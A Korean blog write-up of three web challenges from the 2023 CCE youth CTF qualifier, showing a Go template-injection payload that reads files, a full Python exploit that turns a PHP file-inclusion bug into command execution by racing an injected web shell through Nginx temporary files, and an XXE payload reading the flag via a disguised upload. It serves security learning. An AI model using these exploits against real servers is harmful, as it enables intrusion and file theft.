CTF Reviewed & Writeups/CCE CTF

2023 CCE 청소년부 예선문제 Writeup

반응형
SMALL

CCE 2023

이번 2023 CCE 예선전에서 청소년부 [시계 받으러 왔습니다.] 팀으로 3등으로 본선진출을 하게 되었습니다.

이번대회에서는 저는 총 WEB 부분 3문제를 솔브하였습니다. (KMAIL, Babyweb (2), Automatic dispenser)

 

작년 CCE 예선전에는 1인분도 못했던거 같은데, 이번에는 1인분은 한거 같아서 실력이 작년에 비해서 좀 늘은것 같다는 생각이 들었고, 작년 CCE문제보다 올해 CCE 문제의 난이도 상대적으로 더 올라간거 같은 느낌도 받을 수 있었습니다.

 

이번에는 해당 CCE 예선전에서 솔브한 문제에 대해 자세하게 접근방식 등을 포함한 Writeup을 작성하면서 전체적으로 복기를 진행해보려 합니다.

[청소년부 WEB] - KMAIL

해당 문제는 golang 언어로 작성된 백엔드를 사용한 웹 문제입니다.

 

요즘 DEFCON에서도 그렇고 golang 언어를 활용한 웹 문제가 많이 출제 되는 것 같습니다, 문제 파일을 다운받아 확인해보면 총 3개의 엔드 포인트가 존재함을 확인할 수 있습니다.

func main() {
	http.Handle("/img/", http.StripPrefix("/img/", http.FileServer(http.Dir("img/"))))
	http.Handle("/profile/", http.StripPrefix("/profile/", http.FileServer(http.Dir("profile/"))))
	http.HandleFunc("/", handleMain)
	http.HandleFunc("/login", handleLogin)
	http.HandleFunc("/send", handleSend)
	http.HandleFunc("/signature", handleSignature)
	http.ListenAndServe(":8080", nil)
}

/login, /send, /signature 의 3개의 라우터가 존재합니다.

 

회원가입을 진행하는 부분이 따로 존재하지 않아 해당 코드를 확인해보니 따로 회원가입을 진행하는 것이아닌 그냥 username과 password, userProfile을 form으로 받아 별다른 로그인 로직을 수행하는 것이 아닌 userProfile의 파일만 "/profile/{userProfile}" 경로에 파일을 저장한다음, session에 username, password, userProfile을 저장합니다.

 

즉, /login 엔드포인트에서는 별다른 로그인 로직이 아닌 그냥 session에 username과 password, userProfile만 저장하고 로그인을 진행시키는 것으로 확인해볼 수 있습니다, 아래는 /login 로직의 일부입니다.

// /login router
...

filename = fmt.Sprintf("./profile/%s%s", filename, ".png")
f, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
    fmt.Println(err)
    return
}

defer f.Close()
file.Seek(0, 0)
io.Copy(f, file)

sess, err := store.Get(r, "session-name")
if err != nil {
    http.Error(w, err.Error(), http.StatusInternalServerError)
    return
}

sess.Values["Name"] = name
sess.Values["Email"] = email
sess.Values["Profile"] = filename

if err := sess.Save(r, w); err != nil {
    http.Error(w, err.Error(), http.StatusInternalServerError)
    return
}

...

저는 /login, /send 엔드포인트에서는 별다른 취약점이 발생할만한 백터를 찾지 못하였고, /signature 엔드포인트에서 취약점이 발생할 것 같은 백터를 발견할 수 있었습니다. 아래는 handleSignature 함수의 코드입니다.

func handleSignature(w http.ResponseWriter, r *http.Request) {

	sess, err := store.Get(r, "session-name")
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	s := &Signature{
		Name:    sess.Values["Name"].(string),
		Email:   sess.Values["Email"].(string),
		Profile: sess.Values["Profile"].(string),
	}
	s.File = s.LoadFile(s.Profile)

	tmpl := fmt.Sprintf(`
	<p>--------------------------------------</p>
	<table border="0" cellspacing="0" cellpadding="0">
		<tr>
			<td>
				<img src="data:image/png;base64,{{.File}}" style="heigth:90px;width:70px" alt="Profile Image">
			</td>
			<td valign="top" style="vertical-align: middle;">
				<strong>{{.Name}}</strong><br>
				<a href="mailto:{{.Email}}">{{.Email}}</a><br>
				<span>tel : %s</span>
			</td>
		</tr>
	</table>`, r.URL.Query().Get("tel"))
	t, err := template.New("page").Parse(tmpl)
	if err != nil {
		fmt.Println(err)
	}
	t.Execute(w, &s)
}

위에서 Name, Email, Profile 데이터를 session에서 가져와 tmpl이라는 변수를 선언해 Formatting 해주는 것을 확인할 수 있습니다.

 

하지만 추가로 tel이라는 쿼리스트링을 URL에서 받아 해당 쿼리스트링 데이터를 tmpl 데이터에 추가로 %s로 Formatting 해주는 것을 볼 수 있습니다.

 

이를 통해 해당 부분에서만 %s로 문자열을 그대로 Formatting하기 때문에 SSTI 취약점이 발생할 것이라 생각할 수 있었습니다.

 

go 언어에서 html/template 라이브러리는 기본적으로 SSTI를 통해 시스템 명령어, 빌트인 함수등을 사용할 수 없도록 제한합니다, 하지만 . 리터럴을 통해 해당 코드 내부적으로 선언된 변수나 함수등은 참조가 가능합니다.

 

즉, 외부 변수나 함수는 참조가 불가능하지만 해당 파일 자체에서 선언된 함수나 변수는 참조가 가능하다는 것을 알 수 있습니다.

 

그래서 해당 코드 내부에 file을 LFI를 통해 읽을 수 있을만한 함수를 찾아보았습니다.

 

그러다 LoadFile 이라는 자체 선언한 함수를 찾을 수 있었습니다.

func (s *Signature) LoadFile(path string) string {
	fileData, err := ioutil.ReadFile(path)
	if err != nil {
		panic(err)
	}

	encodedData := base64.StdEncoding.EncodeToString(fileData)
	return encodedData
}

위 함수에서는 path라는 파라미터를 받아 ioutil.ReadFile을 이용해 파일을 읽어옵니다. 이때 path 파라미터 값에 대한 별다른 필터링이 존재하지 않음을 확인할 수 있습니다.

 

그리고 읽어온 파일 데이터를 base64 encoding을 통해 encode하여 return 합니다.

 

해당 함수는 템플릿 리터럴을 통해 호출하려면 아래와 같이 사용할 수 있습니다.

{{ .LoadFile "../../../../etc/passwd" }}

위 payload를 tel 쿼리스트링에 넣고 실행하면 SSTI가 발생해 ../../../../etc/passwd 파일의 값을 볼 수 있습니다.

 

이를 이용해서 flag를 읽어올 수 있습니다.

/signature?tel={{ .LoadFile "../../../../flag" }}

위와 같이 요청을 보낸 후 반환되는 base64 data를 decoding 하면 flag 파일을 읽을 수 있습니다 

FLAG : cce2023{60a924dfc52df70629361a6d839e32c588B9cd429b246c75b2edbc735f9b37c4}

[청소년부 WEB] - KMAIL

해당 문제는 별다른 특별한 코드는 존재하지 않았습니다.

<?php
    $page = $_GET['page'];
    if(isset($page)){
        include("./data/".$page);
    } else {
        header("Location: /?page=1");
    }
?>

위는 index.php의 코드인데 isset 함수를 통해 $page 변수가 존재하는지 확인하고 이를 그대로 include 함수를 사용해서 .data/$page 경로로 파일을 불러옵니다.

 

해당 $_GET['page']는 URL상 page 쿼리스트링의 값을 의미함으로 LFI 취약점이 발생함을 확인할 수 있습니다. 

 

하지만 이를 통해서는 FLAG를 읽어올 수 없습니다.

COPY flag.txt config/readflag /
RUN chown 0:1337 /flag.txt /readflag && \
    chmod 040 /flag.txt && \
    chmod 2555 /readflag

COPY src /var/www/html/

RUN ln -sf /dev/stdout /var/log/nginx/access.log && \
    ln -sf /dev/stderr /var/log/nginx/error.log

RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete
USER www-data
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
USER root

위는 Dockerfile의 일부분입니다. flag.txt를 docker 상의 /flag.txt, /readflag로 복사합니다.

 

그리고 /flag.txt에는 파일의 소유자(root)에게만 읽기 권한을 부여하고 /readflag는 파일의 소유자에게만 읽기 및 실행권한, 그 외 사용자에게는 일반적인 읽기 권한만 부여하기 때문에 flag 데이터를 읽어올 수는 없습니다.

 

그리고 또한 /readflag를 제외한 모든 해당되는 파일을 삭제하기 때문에 전체적으로 flag.txt를 읽어오기 힘든 환경입니다.

 

하지만 Dockerfile에서 아래와 같은 주석이 존재합니다. 

# Copy From https://github.com/sajjadium/ctf-archives/blob/main/HXP/2021/web/counter/Dockerfile

어떠한 github 리포지토리로 부터 해당 Dockerfile을 복사해왔다고 알려주고 있습니다.

 

해당 리포지토리는 2021년도에 개최한 HXP CTF의 counter 문제와 일치합니다.

 

해당 링크로 이동하여 Dockerfile을 확인해보면 파일의 내용이 완전히 일치하지는 않지만 일부 형식은 비슷함을 확인할 수 있습니다.

 

그래서 해당 문제에 대한 Writeup을 검색해보니 다양한 Writeup이 존재하는데, 여기서 하나의 Writeup이 눈에 띕니다.

 

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

 

0xbb - PHP LFI with Nginx Assistance

PHP LFI with Nginx Assistance This post presents a new method to exploit local file inclusion (LFI) vulnerabilities in utmost generality, assuming only that PHP is running in combination with Nginx under a common standard configuration. The technique was d

bierbaumer.net

위 링크는 counter 문제에 대한 php lfi를 nginx assistance와 함께 사용하여 RCE 취약점을 발생시키는 방법에 대한 Exploit 코드를 제공하고 있습니다.

 

해당 자료를 요약해보면 Nginx가 PHP와 동일한 사용자 이름으로 실행되는 경우, 파일을 생성하는 다른 방법 없이 LFI 취약점을 악용할 수 있습니다.

 

시스템 상에서 procfs 사용하여 레이스 컨디션을 발생시키면 삭제된 파일에 대한 참조를 얻을 수 있는 취약점이 존재합니다.

 

삭제된 파일이 최종적으로 실행되는 경로는 /proc/self/fd/34/../../../34/fd/15 경로입니다, 즉 해당 Exploit 코드를 사용하면 아까 위에서 언급한대로 Dockerfile 상에서 삭제한 /readflag 파일을 실행할 수 있습니다.

 

위 블로그의 Exploit 코드를 그래도 실행하면 실행환경이 맞지 않아 오류가 발생합니다, 그래서 해당 Exploit 코드를 Babyweb (2) 문제 환경에 맞게 수정해야합니다.

 

아래는 수정한 Full Exploit 코드입니다.

import sys, threading, requests

URL = f'http://problem_host:8000/'

r  = requests.get(URL, params={
    'page': '../../../../proc/cpuinfo'
})
cpus = r.text.count('processor')

r  = requests.get(URL, params={
    'page': '../../../../proc/sys/kernel/pid_max'
})

pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'page': f'../../../../proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False

def uploader():
    print('[+] starting uploader')
    while not done:
        requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()

def bruter(pid):
    global done

    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            f = f'../../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'page': f,
                'c': f'readflag'
            })

            if r.text:
                print(f'[!] {f}: {r.text}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

위를 실행하게 된다면 삭제된 /readflag 파일을 실행하여 삭제된 FLAG 값을 읽어올 수 있습니다.

FLAG : cce2023{1e6b9e3691debe669ecd5626e7797ad4}

[청소년부 WEB] - Automatic dispenser

해당 문제는 Java Spring Boot Famework로 작성된 웹 사이트입니다.

 

app.jar 이라는 jar 압축파일이 문제로 제공되었는데 해당 jar 파일은 https://jdec.app/ 사이트에서 원본 .java 파일로 자동으로 디컴파일을 진행해줍니다.

 

여기서 MainController.class 파일을 확인해보면 2개의 엔드포인트가 존재함을 확인할 수 있습니다. (/certification.do, /upload.do)

 

/upload.do 엔드포인트의 함수를 확인해보면 아래와 같습니다.

@PostMapping({"/upload.do"})
public String uploadHandle(@RequestPart MultipartFile file) throws Exception {
  String filename = file.getOriginalFilename();
  if (filename.toLowerCase().endsWith(".png") && !filename.contains("..")) {
     File saveFile = new File("/app/upload/" + filename);
     file.transferTo(saveFile);
  }

  return "redirect:/upload.do";
}

file을 form으로 받아 파일이름을 소문자로 변경한 뒤에 파일의 끝이 .png로 끝나는지 그리고 파일이름에 .. 이라는 문자가 포함되어 있는지 검사합니다.

 

검사를 통과하면 /app/upload 경로로 file을 저장합니다.

 

여기서 파일에 대한 검사가 취약하다는 것을 확인할 수 있습니다, 자세한 건 아래에 설명하겠습니다.

 

또한 아래는 /certification.do 엔드포인트의 함수입니다.

@PostMapping({"/certification.do"})
   public String certificationHandle(Model model, @RequestParam(name = "url",required = false) String url) throws Exception {
      MainService ms = new MainService();
      if (url.equals("")) {
         url = "http://static.simplecertification.kr/sample.xml";
      }

      String filename = ms.makeCertification(url);
      Thread.sleep(1000L);
      if (filename.isEmpty()) {
         return "redirect:/certification.do";
      } else {
         File file = new File("/app/static/certification/" + filename);
         return !file.exists() ? "redirect:/certification.do" : "redirect:/certification/" + filename;
      }
   }

URL을 받아서 ms.makeCertification 이라는 함수를 호출하여 url을 인자로 넘깁니다.

private static final String[] ALLOW_HOST = new String[]{"localhost", "www.simplecertification.kr", "static.simplecertification.kr"};

public boolean makeCertification(String uri, String hash) throws Exception {
  URI u = new URI(uri);
  boolean isAllowedUrl = Arrays.stream(ALLOW_HOST).anyMatch((allow_url) -> {
     return u.getHost().equals(allow_url);
  });
  if (!isAllowedUrl) {
     return false;
  } else {
     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

     try {
        DocumentBuilder db = dbf.newDocumentBuilder();
        Document doc = db.parse(uri);
        FileOutputStream output = new FileOutputStream("/app/static/certification/" + hash + ".html");
        transform(doc, output);
     } catch (ParserConfigurationException | SAXException | TransformerException | IOException var9) {
        var9.printStackTrace();
     }

     return true;
  }
}

ms.makeCertification 함수의 원형은 위와 같은데, URL의 HOST가 ALLOW_HOST 배열에 존재하는 HOST인지 검사하는 과정이 존재합니다. 여기서 ALLOW_HOST 배열에는 "localhost", "www.simplecertification.kr", "static.simplecertification.kr" 이라는 HOST가 존재하는 것을 확인할 수 있습니다.

 

해당 HOST 검사를 통과하면 XML parser를 이용해 해당 uri의 XML 데이터를 파싱하고 transform 이라는 함수를 호출해 doc와 output을 안자로 넘기고 있습니다.

private static void transform(Document doc, OutputStream output) throws TransformerException {
  TransformerFactory transformerFactory = TransformerFactory.newInstance();
  Transformer transformer = transformerFactory.newTransformer(new StreamSource(new File("/app/static/xslt/format.xslt")));
  transformer.transform(new DOMSource(doc), new StreamResult(output));
}

여기서 transform 함수에서는 간단하게 /app/static/xslt/format.xslt 파일에 파싱한 xml 데이터를 formatting 하는것을 볼 수 있습니다.

 

이렇게 formatting이 완료되면 /app/static/certification + hash + .html 한 파일의 경로를 반환값으로 반환합니다.

 

format.xslt 파일의 내용의 일부분은 아래와 같습니다.

<div class="col-xs-12">
<div class="row">
    <div class="pm-certificate-footer">
        <div class="col-xs-4 pm-certified col-xs-4 text-center">
        <span class="pm-credits-text block sans">Name  : <xsl:value-of select="school/student/name"/></span>
        <span class="pm-credits-text block sans">Grade : <xsl:value-of select="school/student/grade"/></span>
        <span class="pm-empty-space block underline"></span>
        <span class="bold block">CCE2023</span>
        </div>
    </div>
</div>
</div>

파싱한 xml 데이터중 school/student/name, school/student/grade 값의 데이터만 formatting 하는 것을 확인할 수 있습니다.

 

위에서 xml 파일의 값을 포멧팅할떄, 아무런 필터링이 존재하지 않으므로 XXE 취약점이 발생합니다.

 

XXE 취약점에 대한 자세한 설명은 아래의 블로그를 참조하시는 것을 추천드립니다.

 

https://soft.plusblog.co.kr/95

 

XML External Entity Injection Attack (XXE Injection 공격)

XML 파서를 사용하기 위해 구글링을 하다가 'XXE Injection Attack(XML External Entity Injection 공격)'에 대해서 알게되었다. XXE Injection 공격은 OWASP Top 10 - 2017에도 선정된 웹 애플리케이션 취약점이다. (OWASP

soft.plusblog.co.kr

 

XXE 취약점을 활용하면 /etc/passwd 등 컨테이너 내 파일등을 읽을 수 있습니다.

 

또한 upload.do 엔드포인트에서는 파일 검사가 취약하다고 하였는데 만약 파일업로드의 이름을 filename.xml.png로 업로드하게 된다면 파일의 확장자 검사는 우측부터 파일 실행에서 확장자는 좌측부터 실행한다는 특징을 가지고 있습니다.

 

즉, 확장자 검사를 할때는 우측부터 수행함으로 파일이름의 끝에 .png가 존재함으로 필터링 검사가 우회되고 파일이 실행될때는 .xml 확장자로 파일을 인식해 결과적으로 위 필터링이 우회가 가능합니다.

 

그리고 /certification.do의 ms.Certification 함수에서는 HOST에 대한 검사만 수행하고 file:// scheme 과 같은 scheme 검사는 수행하지 않는다는 허점이 존재합니다. 또한 ALLOW_HOST에는 locahost라는 호스트가 존재함으로 결과적으로 file scheme을 이용하여 파일을 읽어올 수 있다는 취약점이 존재합니다.

file://localhost/etc/passwd -> OK

이를 모두 조합해 취약점을 생각해보자면, XXE 취약점이 존재하는 xml 파일을 /upload.do 엔드포인트를 이용해 업로드하고 /certification.do 엔드포인트에서 file://localhost/app/upload/filename.xml.png와 같이 접근하게 된다면 컨테이너 파일 내에서 filename.xml.png을 읽으므로 filename.xml 을 읽어오는 샘이됩니다.

 

즉, XXE 취약점이 최종적으로 발생해 FLAG 파일을 읽어올 수 있습니다.

 

전체적인 시나리오를 요약하자면 아래와 같습니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE node [                                 
    <!ENTITY passwd SYSTEM "file:///flag">
]>                    
<school>
    <student>
        <name><node>&passwd;</node></name> 
        <grade>2 grade</grade>
    </student>
</school>

-> test.xml.png 파일 업로드

file://localhost/app/upload/test.xml.png -> /certification.do

-> XXE 취약점 발생 후 format.xslt에 formatting 되어 flag 값 저장됨

FLAG : cce2023{b96f8dc4c72b71d55d0a3f3b51ce1a4858e0ed694c9085e04dd76a3ba802c7d0}

CCE Quals 2023 참가 후 느낀점

작년에 비해 문제 접근이랑 풀이하는 실력이 많이 늘은 것 같아 상대적으로 작년도에 비해 만족감이 컸고, 최근에 많이 공부에 대해 자존감이 떨어졌었는데, 조금 회복이 되는 계기가 된 것 같습니다.

 

또한 CCE 2023 본선장에서 수상권을 목표로 열심히 준비해보려고 합니다, 작년에는 1인분도 못했었지만 이번에는 본선장에서 1인분 이상은 할 수 있도록 열심히 준비해보겠습니다.

 

작년에 소홀히 한 부분이 있는 만큼 올해는 최대한 바쁘게 살아보도록 노력하고 작년보다 더 열심히 공부해보려고 합니다, 올해 초까지 상대적으로 제 자신이 공부를 열심히 하고 있다는 생각이 들었는데 저보다 더 잘하는 분들은 훨씬 더 많은 노력을 하시고 방향성을 잡고 열심히 공부하고 계신다는 것을 느꼈습니다. 저도 이에 뒤떨어지지 않도록 작년보다 훨씬 많은 시간을 투자할 예정입니다.

반응형
LIST

'CTF Reviewed & Writeups > CCE CTF' 카테고리의 다른 글

2022 CCE 예선문제 웹 전체 Writeups  (34) 2023.06.06